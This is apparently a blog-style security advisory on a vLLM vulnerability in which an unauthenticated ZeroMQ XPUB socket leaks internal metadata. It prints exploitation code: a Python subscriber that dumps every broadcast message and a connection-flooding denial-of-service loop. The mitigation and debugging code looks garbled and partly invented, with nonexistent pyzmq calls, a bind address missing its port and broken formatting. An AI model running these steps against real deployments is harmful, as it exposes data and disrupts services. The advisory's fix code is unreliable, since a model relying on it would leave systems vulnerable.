vLLM, Data Exposure via ZeroMQ, CVE-2025-XXXX (High Severity)

Listen to this Post

vLLM uses ZeroMQ for multi-node communication in distributed deployments. The primary host opens an XPUB socket bound to all interfaces, exposing internal state data to any network-accessible client. Attackers can connect to this socket, intercept broadcasted metadata, or cause DoS by spamming connections without reading data. The vulnerability stems from unauthenticated XPUB socket binding in shm_broadcast.py, where `MessageQueue.broadcast_object()` sends tensor metadata via ZeroMQ while relying on `torch.distributed` for actual tensor data.

DailyCVE Form

Platform: vLLM
Version: Multi-node deployments
Vulnerability: ZeroMQ data exposure
Severity: High
Date: 2025-04-29

What Undercode Say:

Exploitation:

1. Identify XPUB Port:

netstat -tulnp | grep zmq

2. Connect to Socket:

import zmq
context = zmq.Context()
socket = context.socket(zmq.SUB)
socket.connect("tcp://<vLLM_HOST>:<PORT>")
socket.setsockopt(zmq.SUBSCRIBE, b"")
while True: print(socket.recv())

3. DoS Attack:

for _ in range(1000):
zmq.Context().socket(zmq.SUB).connect("tcp://<vLLM_HOST>:<PORT>")

Mitigation:

1. Firewall Rules:

iptables -A INPUT -p tcp --dport <PORT> -j DROP

2. ZeroMQ Config: Bind to internal IP:

socket.bind("tcp://192.168.1.100:") Replace with internal IP

3. Auth Layer:

zmq.auth.install_authenticator(context)
server.auth = zmq.AUTH(allow=("trusted_ip",))

Detection:

lsof -i | grep zmq | grep XPUB

Patch Monitoring:

Track updates in:

– `shm_broadcast.py` (ZeroMQ socket binding)
– `parallel_state.py` (broadcast logic)

Debugging:

Log ZeroMQ traffic:

zmq.logger.set_level(zmq.logging.DEBUG)

References:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top